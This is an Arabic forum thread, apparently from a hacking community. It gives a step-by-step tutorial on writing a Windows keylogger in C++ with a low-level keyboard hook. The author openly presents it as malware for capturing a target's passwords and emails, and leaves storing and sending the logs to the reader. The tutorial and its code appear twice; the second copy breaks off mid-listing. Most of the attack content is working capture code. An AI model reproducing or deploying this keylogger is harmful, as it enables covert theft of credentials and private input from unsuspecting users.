مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

KeyLogger بلغة Cpp

  • بادئ الموضوع بادئ الموضوع lol
  • تاريخ البدء تاريخ البدء

lol

./عضو جديد

السمعة:

بسم الله الرحمن الرحيم
شرح كيفية صنع KeyLogger بلغة Cpp
ماهو ال KeyLoger ؟
باختصار هو أحد أشكال البرامج الضارة أو الأجهزة التي تقوم بتتبع وتسجيل ضغطات المفاتيح أثناء الكتابة.

استخداماته:
باستخدام هذا البرنامج يستطيع المخترق الحصول على العديد من المعلومات منها كلمة المرور و البريد الالكتروني و بعض المعلومات الحساسة
يعتمد هذا باعتبار أن المستهدف سيقوم بكتابة المعلومات المرادة و بالتالي سيقوم البرنامج بتسجيل الإدخال و تخزينه ومن ثم إرسالة إلى المخترق

المتطلبات:
لتحويل هذه الفكرة إلى برنامج باستخدام cpp يجب توفّر متطلباتها لديك، وهي:
1- أساسيات Cpp

2- أساسيات في Windows Api

مبدئيًا هذا البرنامج سيقوم بتسجيل إدخالات المستهدَف للوحة المفاتيح , ونقل هذه المعلومات إليك لن يتم شرحها :)


- كيفية عمل نظام Windows في استقبال الإدخال من لوحة المفاتيح ومعالجته:
1-استقبال الإدخال من لوحة المفاتيح
عندما يقوم المستخدم بالضغط على زر من لوحة المفاتيح، يتم إرسال إشارة إلى نظام التشغيل Windows. يعترف Windows بالضغطة على انها حدث يجب معالجته.
2-معالجة الإدخال
بمجرد استقبال الإشارة، يقوم نظام التشغيل بتحويل الإدخال إلى رمز يمثل الزر المضغوط وتسمى Virtual-Key Code

Virtual-Key Code هي سلسلة من الرموز الرقمية التي تمثل المفاتيح على لوحة المفاتيح في نظام Windows، وتُستخدم للتعرف على المفاتيح المضغوطة ومعالجتها بشكل صحيح من قبل البرامج.


3-إرسال الإدخال إلى النافذة المستهدفة
بمجرد تحويل الإدخال إلى Virtual-Key Codes، يتم إرسال هذه المعلومات إلى النافذة المستهدفة.
على سبيل المثال، إذا كان المستخدم يقوم بكتابة في متصفح الويب مثل Google Chrome، فإن النص الذي تم إدخاله سيتم توجيهه إلى نافذة المتصفح.


4-معالجة الإدخال بواسطة النافذة
بمجرد وصول الإدخال إلى النافذة، يقوم التطبيق المستهدف (مثل المتصفح) بمعالجة الإدخال بطريقة معينة. يمكن أن يتم عرض النص المدخل على شكل صفحة ويب أو استخدامه في أي عملية أخرى تدعمها النافذة.

فهم هذه العمليات يمكن أن يساعد في تطوير Keylogger بفعالية، حيث يجب على البرنامج أن يتمكن من التقاط الإدخال بعدها يتم تحويله إلى Virtual-Key Codes. ثم تحويله الى حرف مثل A وذالك ليس امرآ صعباً



معلومات:
البرنامج بسيط جدًا وسهل لدرجة أنني أخجل من وضعه في قسم البرمجيات الخبيثة


1-Hook
أولًا سنقوم باعتراض جميع الإدخالات قبل أن تصل إلى النافذه كيف ذلك؟
الموضوع جدًا سهل ولا يتطلب مهارات في الاختراق أو الهندسة العكسية فقط وظيفة واحدة في windows api وهي SetWindowsHookExW


2-KeyboardProc
قبل البدء نحتاج وظيفة KeyboardProc وهي الوظيفة التي سننمررها للـ Hook و بالتالي سيقوم ال windows بالإتصال بها كل مرة يتم فيها الضغط على أي زر في لوحة الفاتيح ويجب أن تحتوي على برامتر معينة كما هو موضح في http://learn.microsoft.com وهذه البرامتر تحتوي على معلومات منها Virtual-Key Code وهذا مانريد
3-برامتر KeyboardProc
code: يحدد نوع الحدث الذي يتم معالجته، ف إذا كانت قيمته صفرًا، فهذا يعني أن الرسالة موجهة للهوك الخاص بنا.
wParam: يحدد نوع الحدث، مثل WM_KEYDOWN للضغط على مفتاح، أو WM_KEYUP لرفع الضغط عن مفتاح.
lParam: يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.

4-برامتر SetWindowsHookExW
idHook: يحدد نوع الهوك الذي يتم تثبيته. مثال على ذلك WH_KEYBOARD_LL لهوك لوحة المفاتيح.
lpfn: يشير إلى الدالة الإنتقائية (callback function) التي سيتم استدعاؤها في هذه الحالة سيكون KeyboardProc .
hMod: يحدد HANDLE المكتبة (DLL) التي تحتوي على الدالة الإنتقائية. يمكن تعيينه عادةً إلى NULL إذا كانت الدالة الإنتقائية موجودة في نفس التطبيق.
dwThreadId: يحدد (Thread ID) الذي يرتبط به الهوك، يمكن تعيينه إلى 0 لتثبيت الهوك على جميع Thread في النظام.
لمزيد من التفاصيل: learn.microsoft



Code:
1-إنشاء KeyboardProc
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
 
}

2-استخدام SetWindowsHookExW
C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    return 0;
}

3-استقبال الرسائل من Windows
باختصار الويندوز الآن سيرسل رسالة إلى ال KeyboardProc في كل مرة يتم الضغط على زر لوحة المفاتيح ونحتاج فقط لاستقبال هذه الرسائل

C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    while (true)
    {
        MSG msg{};
        GetMessage(&msg, 0, 0, 0);
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

4-معالجة WM_KEYDOWN
الآن سيقوم الويندوز بإلاتصال (Call) بوظيفة (function) KeyboardProc مرتين كل مرة يتم الضغط على أي زر في لوحة المفاتيح
ولكن لماذا مرتين.؟ السبب باختصار لأنه عند الضغط على المفتاح (WM_KEYDOWN) سيتصل بي KeyboardProc و عند الرفع من الزر (WM_KEYUP) أيضاً سيتصل مره أخرى على KeyboardProc وذلك سيسبب تكرار للإدخال
لذلك نحتاج أن نحل هذه المشكلة والحل بسيط جداً

C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {

    }

}
بإضافة هذا الشرط سنتأكد أنه لن يتم تسجيل الحرف مرتين

5-معالجة lParam
كما قلت بالسابق IParam يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
الآن نريد استخراج ال Virtual-Key Code منه
باستخدام

C++:
KBDLLHOOKSTRUCT* pKbStruct = (KBDLLHOOKSTRUCT*)lParam;

KBDLLHOOKSTRUCT : هو بنية (structure) تحتوي على معلومات الادخال , منها :
DWORD vkCode: يمثل Virtual-Key Code. على سبيل المثال، VK_A لزر A كما هو موضح في Virtual-Key Code.
DWORD scanCode: يمثل الرمز الذي يمثل المفتاح المضغوط في لوحة المفاتيح.
DWORD flags: يمثل مؤشرات إضافية تعطي معلومات حول الأحداث مثل حالة مفاتيح التحكم مثل CTRL، SHIFT، وما إلى ذلك.
DWORD time:وقت الرسالة (بالميلي ثانية).
ULONG_PTR dwExtraInfo: بيانات إضافية مرتبطة بالأحداث، عادة ما تكون مرتبطة بإرسال الحدث.

مانريدة هو vkCode لذا فل نحول ال lParam الى KBDLLHOOKSTRUCT
ثم نقوم بطباعة vkCode باستخدام std::cout

C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {
 
        KBDLLHOOKSTRUCT* pKbStruct =(KBDLLHOOKSTRUCT*)lParam;
        DWORD virtual_key_code = pKbStruct->vkCode;
        std::cout << pKbStruct->vkCode;
 
    }
    return 0;
}
النتائج المحصول عليها ستكون عبارة عن مجموعة رموز تمثل الزر الذي تم الضغط عليه

Screenshot (10).png


كما ترى الرموز التي على اليسار تمثل ال vkCode بينما كلمة hello.world هي ترجمة هذه الرموز

تحويل vkCode إلى أحرف مفهومة:
للقيام بذلك يجب أن نعرف كل vkCode وما يعنية لذا لنذهب إلى موقع مايكروسوفت ولنرى ماذا تعني هذه الرموز هل فعلًا تعني hello.world ؟
بعد زيارة الموقع لنذهب إلى أول حرف h ولنرى vkCode المقابل له سنجد 0x48 H key أي أن h=0x48 وهي قيمة ستة عشرية (hex) لتحويلها لعدد عشري (dec) ستساوي 72 وهو مايتوافق مع أول رمزين وكذلك الامر لباقي الرموز.

برمجياً
للقيام بذلك سنقوم باستخدام switch و مقارنة ال vkCode مع الرموز الخاصة بالأحرف المراد تسجيلها مثال:
سنقوم بتحويل الرمز 72 والذي يعني h إلى حرف h فعلًا ولكن بدلاً من مقارنة vkCode مع 72 لمعرفة إذا vkCode =H نستطيع استخدام 'H' مثال

كود:
        switch (virtual_key_code)
        {
        case 'H':
            std::cout << 'H';
            break;
        default:
            std::cout << pKbStruct->vkCode;
            break;
        }

كما ترى بدلاً من استخدام 72 استخدمت H وهذا يجعل الكود أسهل
استخدمنا H كبيرة h الصغيرة لن تعمل وهذا في جميع الحروف

الآن سنطبق هذا على جميع الحروف
كود:
  switch (virtual_key_code)
  {
  case 'A':
      std::cout << 'A';
      break;
  case 'B':
      std::cout << 'B';
      break;
  case 'C':
      std::cout << 'C';
      break;
  case 'D':
      std::cout << 'D';
      break;
  case 'E':
      std::cout << 'E';
      break;
  case 'F':
      std::cout << 'F';
      break;
  case 'G':
      std::cout << 'G';
      break;
  case 'H':
      std::cout << 'H';
      break;
  case 'I':
      std::cout << 'I';
      break;
  case 'J':
      std::cout << 'J';
      break;
  case 'K':
      std::cout << 'K';
      break;
  case 'L':
      std::cout << 'L';
      break;
  case 'M':
      std::cout << 'M';
      break;
  case 'N':
      std::cout << 'N';
      break;
  case 'O':
      std::cout << 'O';
      break;
  case 'P':
      std::cout << 'P';
      break;
  case 'Q':
      std::cout << 'Q';
      break;
  case 'R':
      std::cout << 'R';
      break;
  case 'S':
      std::cout << 'S';
      break;
  case 'T':
      std::cout << 'T';
      break;
  case 'U':
      std::cout << 'U';
      break;
  case 'V':
      std::cout << 'V';
      break;
  case 'W':
      std::cout << 'W';
      break;
  case 'X':
      std::cout << 'X';
      break;
  case 'Y':
      std::cout << 'Y';
      break;
  case 'Z':
      std::cout << 'Z';
      break;
  default:
      std::cout << pKbStruct->vkCode;
      break;
  }

لنحاول كتابة hello world مرة أخرى ولنرى النتائج:
HELLOW32WORLD هذا هي النتائج 32 يمثل مسافة نستطيع إضافة ذلك إلى switch الخاص بنا
بالنظر إلى النتائج نستطيع معرفة أن هناك مشكلة كبيرة ألا وهي أن البرنامج الخاص بنا لايميز بين الأحرف الكبيرة و الأحرف الصغيرة وهذا يمثل مشكلة خصوصاً مع كلمات المر
ور

معالجة مشكلة الأحرف الكبيرة و الصغيرة
لحل هذه المشكلة سننشئ وظيفة (function) سنسميها مثلاً CapsLock_On وتعمل على ارجاع قيمة (return) وتكون:
صحيح (true) إذا كان CapsLock مفعّل وخطأ (false) إذا كان غير مفعل
وسنستخدم وظيفة(function) GetKeyState ,
تستقبل برامتر واحد : nVirtKey: رمز لمفتاح لوحة المفاتيح( vkCode ).

الإرجاع (return):
تُعيد الوظيفة (function) قيمة من نوع SHORT، والتي تحتوي على معلومات حول حالة المفتاح.
تقسم إلى قسمين :

البت الأكثر أهمية (High-Order Bit):
إذا كان البت الأكثر أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح مضغوط حاليًا (Down).
إذا كان البت الأكثر أهمية يساوي 0، فذلك يعني أن المفتاح غير مضغوط (Up).


البت الأقل أهمية (Low-Order Bit):
إذا كان البت الأقل أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح "مفعل" (Toggled).
على سبيل المثال، يُعتبر مفتاح CAPS LOCK مفعل إذا كان 1 ، ويكون المُفتاح غير مفعل (Untoggled) إذا كان البت الأقل أهمية يساوي 0.
بمعرفة هذا لننشئ وظيفة (function) CapsLock_On

C++:
bool CapsLock_On()
{
    SHORT capsLock_State = GetKeyState(VK_CAPITAL);

    return capsLock_State & 0x0001;
}

&0001 تستخدم لاستخراج البت الأقل أهمية(Low-Order Bit)

الآن لنطبق هذا على switch الخاص بنا و سنتعامل مع المسافة أيضاً
كود:
switch (virtual_key_code)
{
case 'A':
    if (CapsLock_On())
        std::cout << 'A';
    else
        std::cout << 'a';
    break;
case 'B':
    if (CapsLock_On())
        std::cout << 'B';
    else
        std::cout << 'b';
    break;
case 'C':
    if (CapsLock_On())
        std::cout << 'C';
    else
        std::cout << 'c';
    break;
case 'D':
    if (CapsLock_On())
        std::cout << 'D';
    else
        std::cout << 'd';
    break;
case 'E':
    if (CapsLock_On())
        std::cout << 'E';
    else
        std::cout << 'e';
    break;
case 'F':
    if (CapsLock_On())
        std::cout << 'F';
    else
        std::cout << 'f';
    break;
case 'G':
    if (CapsLock_On())
        std::cout << 'G';
    else
        std::cout << 'g';
    break;
case 'H':
    if (CapsLock_On())
        std::cout << 'H';
    else
        std::cout << 'h';
    break;
case 'I':
    if (CapsLock_On())
        std::cout << 'I';
    else
        std::cout << 'i';
    break;
case 'J':
    if (CapsLock_On())
        std::cout << 'J';
    else
        std::cout << 'j';
    break;
case 'K':
    if (CapsLock_On())
        std::cout << 'K';
    else
        std::cout << 'k';
    break;
case 'L':
    if (CapsLock_On())
        std::cout << 'L';
    else
        std::cout << 'l';
    break;
case 'M':
    if (CapsLock_On())
        std::cout << 'M';
    else
        std::cout << 'm';
    break;
case 'N':
    if (CapsLock_On())
        std::cout << 'N';
    else
        std::cout << 'n';
    break;
case 'O':
    if (CapsLock_On())
        std::cout << 'O';
    else
        std::cout << 'o';
    break;
case 'P':
    if (CapsLock_On())
        std::cout << 'P';
    else
        std::cout << 'p';
    break;
case 'Q':
    if (CapsLock_On())
        std::cout << 'Q';
    else
        std::cout << 'q';
    break;
case 'R':
    if (CapsLock_On())
        std::cout << 'R';
    else
        std::cout << 'r';
    break;
case 'S':
    if (CapsLock_On())
        std::cout << 'S';
    else
        std::cout << 's';
    break;
case 'T':
    if (CapsLock_On())
        std::cout << 'T';
    else
        std::cout << 't';
    break;
case 'U':
    if (CapsLock_On())
        std::cout << 'U';
    else
        std::cout << 'u';
    break;
case 'V':
    if (CapsLock_On())
        std::cout << 'V';
    else
        std::cout << 'v';
    break;
case 'W':
    if (CapsLock_On())
        std::cout << 'W';
    else
        std::cout << 'w';
    break;
case 'X':
    if (CapsLock_On())
        std::cout << 'X';
    else
        std::cout << 'x';
    break;
case 'Y':
    if (CapsLock_On())
        std::cout << 'Y';
    else
        std::cout << 'y';
    break;
case 'Z':
    if (CapsLock_On())
        std::cout << 'Z';
    else
        std::cout << 'z';
    break;

case VK_SPACE:
    std::cout << ' ';
    break;
default:
    std::cout << '?';
    break;
}

وفي النهاية نستطيع القول أن البرنامج اكتمل تقريباً تبقى فقط إضافة باقي الرموز و الأرقام الموجودة في الكيبورد إلى switch وتخزين هذه المعلومات بدلاً من طباعتها ثم نقلها إليك وهذا سأتركه لك حتى تقوم به بنفسك.

هذا والله أعلم والصلاة والسلام على نبينا محمد
 
التعديل الأخير بواسطة المشرف:
رهيب للامانه ونادرا ان نجد شخص يشرح العمليه بالتفصيل الممل, اشكرك على الطرح :)
 
بسم الله الرحمن الرحيم

شرح كيفية صنع KeyLogger بلغة Cpp

اولا ماهو ال KeyLoger
بأختصار هو أحد أشكال البرامج الضارة أو الأجهزة التي تقوم بتتبع وتسجيل ضغطات المفاتيح أثناء الكتابة

استخداماته
بإستخدام هاذا البرنامج يستطيع المخترق الحصول على العديد من العلومات منها كلمة المرور و البريد الالكتروني و بعض المعلومات الحساسة يعتمد هاذا باعتبار ان المستهدف سيقوم بكتابة المعلومات المرادة و بالتالي سيقوم البرنامج بتسجيل الادخال و تخزينه ومن ثم ارسالة الى المخترق

المتطلبات:
لتحويل هاذا الفكره الى برنامج باستخدام cpp يجب ان تتوفر عدد من الشروط و المتطلبات
1-اساسيات Cpp
2-اساسيات في Windows Api
مبدئياً هاذا البرنامج سيقوم بتسجيل ادخالات المستهدف للوحة المفاتيح , نقل هذه المعلومات اليك لن يتم شرحها :)

كيفية عمل نظام Windows في استقبال الإدخال من لوحة المفاتيح ومعالجتة
1-استقبال الإدخال من لوحة المفاتيح
عندما يقوم المستخدم بالضغط على زر على لوحة المفاتيح، يتم إرسال إشارة إلى نظام التشغيل Windows. يعترف Windows بالضغطة كحدث يجب معالجته.
2-معالجة الإدخال
بمجرد استقبال الإشارة، يقوم نظام التشغيل بتحويل الإدخال إلى رمز يمثل الزر المضغوط وتسمى Virtual-Key Code
باختصار، Virtual-Key Code هي سلسلة من الرموز الرقمية التي تمثل المفاتيح على لوحة المفاتيح في نظام Windows، وتُستخدم للتعرف على المفاتيح المضغوطة ومعالجتها بشكل صحيح من قبل البرامج.
3-إرسال الإدخال إلى النافذة المستهدفة
بمجرد تحويل الإدخال إلى Virtual-Key Codes، يتم إرسال هذه المعلومات إلى النافذة المستهدفة. على سبيل المثال، إذا كان المستخدم يقوم بكتابة في متصفح الويب مثل Google Chrome، فإن النص الذي تم إدخاله سيتم توجيهه إلى نافذة المتصفح.
4-معالجة الإدخال بواسطة النافذة
بمجرد وصول الإدخال إلى النافذة، يقوم التطبيق المستهدف (مثل المتصفح) بمعالجة الإدخال بطريقة معينة. يمكن أن يتم عرض النص المدخل على شكل صفحة ويب أو استخدامه في أي عملية أخرى تدعمها النافذة.
فهم هذه العمليات يمكن أن يساعد في تطوير Keylogger بفعالية، حيث يجب على البرنامج أن يتمكن من التقاط الإدخال بعد يتم تحويله إلى Virtual-Key Codes. ثم تحويله الى حرف مثل A وذالك ليس امرآ صعباً


معلومات
تنوية
البرنامج بسيط جداً وسهل لدرجة ان اخجل من وضعه في قسم البرمجيات الخبيثة😅
1-Hook
اولا سنقوم باعتراض جميع الادخالات قبل ان تصل الى النافذه كيف ذلك؟
الموضوع جدا سهل ولا يتطلب مهارات في الاختراق او هندسة عكسية فقط وظيفة واحدة في windows api وهي SetWindowsHookExW

2-KeyboardProc
قبل البدء نحتاج وضيفة KeyboardProc وهي الوظيفة التي سننمررها للهوك و بالتالي سيقوم ال windows بالاتصال بها كل مره يتم فيها الضغط على اي زر في لوحة الفاتيح
ويجيب ان تحتوي على برامتر معينة كما هو موضح في http://learn.microsoft.com و هاذه البرامتر تحتوي على معلومات منها Virtual-Key Code وهاذا مانريد
3-برامتر KeyboardProc
code: يحدد نوع الحدث الذي يتم معالجته. إذا كانت قيمته صفرًا، فهذا يعني أن الرسالة موجهة للهوك الخاص بنا.
wParam: يحدد نوع الحدث، مثل WM_KEYDOWN للضغط على مفتاح، أو WM_KEYUP لرفع الضغط عن مفتاح.
lParam: يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
3-برامتر SetWindowsHookExW
idHook: يحدد نوع الهوك الذي يتم تثبيته. مثال على ذلك WH_KEYBOARD_LL لهوك لوحة المفاتيح.
lpfn: يشير إلى الدالة الانتقائية (callback function) التي سيتم استدعاؤها في هاذا الحالة سيكون KeyboardProc .
hMod: يحدد HANDLE المكتبة (DLL) التي تحتوي على الدالة الانتقائية. يمكن تعيينه عادةً إلى NULL إذا كانت الدالة الانتقائية موجودة في نفس التطبيق.
dwThreadId: يحدد (Thread ID) الذي يرتبط به الهوك. يمكن تعيينه إلى 0 لتثبيت الهوك على جميع Thread في النظام.
لمزيد من التفاصيل learn.microsoft

code
1-انشاء KeyboardProc
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
 
}
2-استخدام SetWindowsHookExW
C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    return 0;
}
2-استقبال الرسائل من windows
باختصار الوندوز الان سيرسل رسالة الى ال KeyboardProc في كل مرة يتم الضغط على زر لوحتة المفاتيح ونحتاج فقط لاستقبال هاذه الرسائل

C++:
#include <Windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

}
int main() {
 
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, &KeyboardProc,0, 0);


    while (true)
    {
        MSG msg{};
        GetMessage(&msg, 0, 0, 0);
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

2-معالجة WM_KEYDOWN
الان سيقوم الوندوز ب الاتصال (Call) بوظيفة (function) KeyboardProc مرتين كل مره يتم الضغط على اي زر في لوحة المفاتيح
ولكن لماذا مرتين.؟ السبب باختصار انه عند الضغط على المفتاح (WM_KEYDOWN) سيتصل بي KeyboardProc و عند الرفع من الزر (WM_KEYUP) ايضاً سيتصل مره اخرى على KeyboardProc وذالك سيسبب تكرار للادخال
لذالك نحتاج ان نحل هاذي المشكلة و الحل بسيط جداً
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {

    }

}
باضافة هاذا الشرط سنتاكد انه لين يتم تسجيل الحرف مرتين
2-معالجة lParam
كما قلت ب السابق IParam يحمل معلومات إضافية حول الحدث، مثل Virtual-Key Code وحالة المفاتيح الأخرى.
الان نريد استخراج ال Virtual-Key Code منه
باستخدام
C++:
KBDLLHOOKSTRUCT* pKbStruct =(KBDLLHOOKSTRUCT*)lParam;

KBDLLHOOKSTRUCT هو بنية (structure) تحتوي على معلومات الادخال
يحتوي على
DWORD vkCode: يمثل Virtual-Key Code. على سبيل المثال، VK_A لزر A كما هو موضح في Virtual-Key Code.
DWORD scanCode: يمثل الرمز الذي يمثل المفتاح المضغوط في لوحة المفاتيح.
DWORD flags: يمثل مؤشرات إضافية تعطي معلومات حول الأحداث مثل حالة مفاتيح التحكم مثل CTRL، SHIFT، وما إلى ذلك.
DWORD time: الوقت في وقت الأحداث (بالميلي ثانية).
ULONG_PTR dwExtraInfo: بيانات إضافية مرتبطة بالأحداث، عادة ما تكون مرتبطة بإرسال الحدث.

مانريدة هو vkCode لذا فل نحول ال lParam الى KBDLLHOOKSTRUCT
ثم نقوم بطباعة vkCode باستخدام std::cout
C++:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

    if (wParam==WM_KEYDOWN)
    {
 
        KBDLLHOOKSTRUCT* pKbStruct =(KBDLLHOOKSTRUCT*)lParam;
        DWORD virtual_key_code = pKbStruct->vkCode;
        std::cout << pKbStruct->vkCode;
 
    }
    return 0;
}
النتائج المتحصل علية ستكون عباره عن مجموعة رموز تمثل الزر الذي تم الضغط علية
مشاهدة المرفق 8759
كما ترا الرموز التي على اليسار تمثل ال vkCode بينما كلمة hello.world هي ترجمة هاذه الرموز

تحويل vkCode الى احرف مفهومة
للقيام بذالك يجب ان نعرف كل vkCode ومايعنية لذا لنذهب الى موقع مايكروسوفت ولنرا ماذا تعني هاذه الرموز هل فعلا تعني hello.world ؟
Virtual-Key Code. بعد زيارة الموقع لنذهب لي اول حرف h ولنرا vkCode المقابل له سنجد 0x48 H key اي ان h=0x48 وهي قيمة ستة عشرية (hex) لتحويلها لعدد عشري (dec)
ستساوي 72 وهو مايتوافق مع اول رمزين وهلما جراً لباقي الرموز
برمجياً
للقيام بذالك سنقوم باستخدام switch و مقارنت ال vkCode مع الرموز الخاصة ب الاحرف المراد تسجيلها مثال
سنقوم بتحويل الرمز 72 والذي يعني h الى حرف h فعلا ولكن بدلاً من مقارنت vkCode مع 72 لمعرفة اذا vkCode =H نستطيع استخدام 'H' مثال
كود:
        switch (virtual_key_code)
        {
        case 'H':
            std::cout << 'H';
            break;
        default:
            std::cout << pKbStruct->vkCode;
            break;
        }
كما ترا بدلاً من استخدام 72 استخدمت H وهاذا يجعل الكود اسهل
ملاحظ استخدمنا H كبيرة h الصغيرة لن تعمل وهاذا في جميع الحروف
الان سنطبق هاذا على جميع الحروف
كود:
  switch (virtual_key_code)
  {
  case 'A':
      std::cout << 'A';
      break;
  case 'B':
      std::cout << 'B';
      break;
  case 'C':
      std::cout << 'C';
      break;
  case 'D':
      std::cout << 'D';
      break;
  case 'E':
      std::cout << 'E';
      break;
  case 'F':
      std::cout << 'F';
      break;
  case 'G':
      std::cout << 'G';
      break;
  case 'H':
      std::cout << 'H';
      break;
  case 'I':
      std::cout << 'I';
      break;
  case 'J':
      std::cout << 'J';
      break;
  case 'K':
      std::cout << 'K';
      break;
  case 'L':
      std::cout << 'L';
      break;
  case 'M':
      std::cout << 'M';
      break;
  case 'N':
      std::cout << 'N';
      break;
  case 'O':
      std::cout << 'O';
      break;
  case 'P':
      std::cout << 'P';
      break;
  case 'Q':
      std::cout << 'Q';
      break;
  case 'R':
      std::cout << 'R';
      break;
  case 'S':
      std::cout << 'S';
      break;
  case 'T':
      std::cout << 'T';
      break;
  case 'U':
      std::cout << 'U';
      break;
  case 'V':
      std::cout << 'V';
      break;
  case 'W':
      std::cout << 'W';
      break;
  case 'X':
      std::cout << 'X';
      break;
  case 'Y':
      std::cout << 'Y';
      break;
  case 'Z':
      std::cout << 'Z';
      break;
  default:
      std::cout << pKbStruct->vkCode;
      break;
  }
فل نحاول كتابة hello world مرة اخرى ولنرا النتائج
HELLOW32WORLD هاذا هي النتائج 32 يمثل مسافة نستطيع اضافة ذالك لي switch الخاص بنا
بالنظر الى النتائج نستطيع معرفة ان هناك مشكلة كبيرة الا وهي ان الرنامج الخاص بنا لايميز بين الاحرف الكبيرة و الاحرف الصغيرة وهاذا يمثل مشكلة خصوصاً مع كلمات المر
ور

معالجة مشكلة الاحرف الكبيرة و الصغيرة
لحل هاذه المشكلة سننشئ وظيفة (function) سنسميها مثلاً CapsLock_On وسترجع (return) صحيح (true) اذا كان CapsLock مفعل و خطاء (false) اذا كان غير مفعل
وسنستخدم وظيفة(function) GetKeyState.
GetKeyState.
تستقبل برامتر واحد
nVirtKey: رمز لمفتاح لوحة المفاتيح( vkCode ).
الإرجاع (return):
تُعيد الوظيفه (function) قيمة من نوع SHORT، والتي تحتوي على معلومات حول حالة المفتاح.
نقسم الى قسمين البت الأكثر أهمية (High-Order Bit): و البت الأقل أهمية (Low-Order Bit):

البت الأكثر أهمية (High-Order Bit):
إذا كان البت الأكثر أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح مضغوط حاليًا (Down).
إذا كان البت الأكثر أهمية يساوي 0، فذلك يعني أن المفتاح غير مضغوط (Up).

البت الأقل أهمية (Low-Order Bit):
إذا كان البت الأقل أهمية في قيمة المفتاح المُرجَعة (return value) يساوي 1، فذلك يعني أن المفتاح "مفعل" (Toggled).
على سبيل المثال، يُعتبر مفتاح CAPS LOCK مفعل إذا كان 1 و. يكون المُفتاح مُطفأً وغير مفعل (Untoggled). إذا كان البت الأقل أهمية يساوي 0.
بمعرفة هاذا لننشئ وضيفة (function) CapsLock_On

C++:
bool CapsLock_On()
{
    SHORT capsLock_State = GetKeyState(VK_CAPITAL);

    return capsLock_State & 0x0001;
}
ملاحظة &0001 تستخدم لستخراج البت الاقل اهمية(Low-Order Bit):
الأن لنطبق هاذا على switch الخاص بنا و سنتعامل مع المسافة ايضاً

كود:
switch (virtual_key_code)
{
case 'A':
    if (CapsLock_On())
        std::cout << 'A';
    else
        std::cout << 'a';
    break;
case 'B':
    if (CapsLock_On())
        std::cout << 'B';
    else
        std::cout << 'b';
    break;
case 'C':
    if (CapsLock_On())
        std::cout << 'C';
    else
        std::cout << 'c';
    break;
case 'D':
    if (CapsLock_On())
        std::cout << 'D';
    else
        std::cout << 'd';
    break;
case 'E':
    if (CapsLock_On())
        std::cout << 'E';
    else
        std::cout << 'e';
    break;
case 'F':
    if (CapsLock_On())
        std::cout << 'F';
    else
        std::cout << 'f';
    break;
case 'G':
    if (CapsLock_On())
        std::cout << 'G';
    else
        std::cout << 'g';
    break;
case 'H':
    if (CapsLock_On())
        std::cout << 'H';
    else
        std::cout << 'h';
    break;
case 'I':
    if (CapsLock_On())
        std::cout << 'I';
    else
        std::cout << 'i';
    break;
case 'J':
    if (CapsLock_On())
        std::cout << 'J';
    else
        std::cout << 'j';
    break;
case 'K':
    if (CapsLock_On())
        std::cout << 'K';
    else
        std::cout << 'k';
    break;
case 'L':
    if (CapsLock_On())
        std::cout << 'L';
    else
        std::cout << 'l';
    break;
case 'M':
    if (CapsLock_On())
        std::cout << 'M';
    else
        std::cout << 'm';
    break;
case 'N':
    if (CapsLock_On())
        std::cout << 'N';
    else
        std::cout << 'n';
    break;
case 'O':
    if (CapsLock_On())
        std::cout << 'O';
    else
        std::cout << 'o';
    break;
case 'P':
    if (CapsLock_On())
        std::cout << 'P';
    else
        std::cout << 'p';
    break;
case 'Q':
    if (CapsLock_On())
        std::cout << 'Q';
    else
        std::cout << 'q';
    break;
case 'R':
    if (CapsLock_On())
        std::cout << 'R';
    else
        std::cout << 'r';
    break;
case 'S':
    if (CapsLock_On())
        std::cout << 'S';
    else
        std::cout << 's';
    break;
case 'T':
    if (CapsLock_On())
        std::cout << 'T';
    else
        std::cout << 't';
    break;
case 'U':
    if (CapsLock_On())
        std::cout << 'U';
    else
        std::cout << 'u';
    break;
case 'V':
    if (CapsLock_On())
        std::cout << 'V';
    else
        std::cout << 'v';
    break;
case 'W':
    if (CapsLock_On())
        std::cout << 'W';
    else
        std::cout << 'w';
    break;
case 'X':
    if (CapsLock_On())
        std::cout << 'X';
    else
        std::cout << 'x';
    break;
case 'Y':
    if (CapsLock_On())
        std::cout << 'Y';
    else
        std::cout << 'y';
    break;
case 'Z':
    if (CapsLock_On())
        std::cout << 'Z';
    else
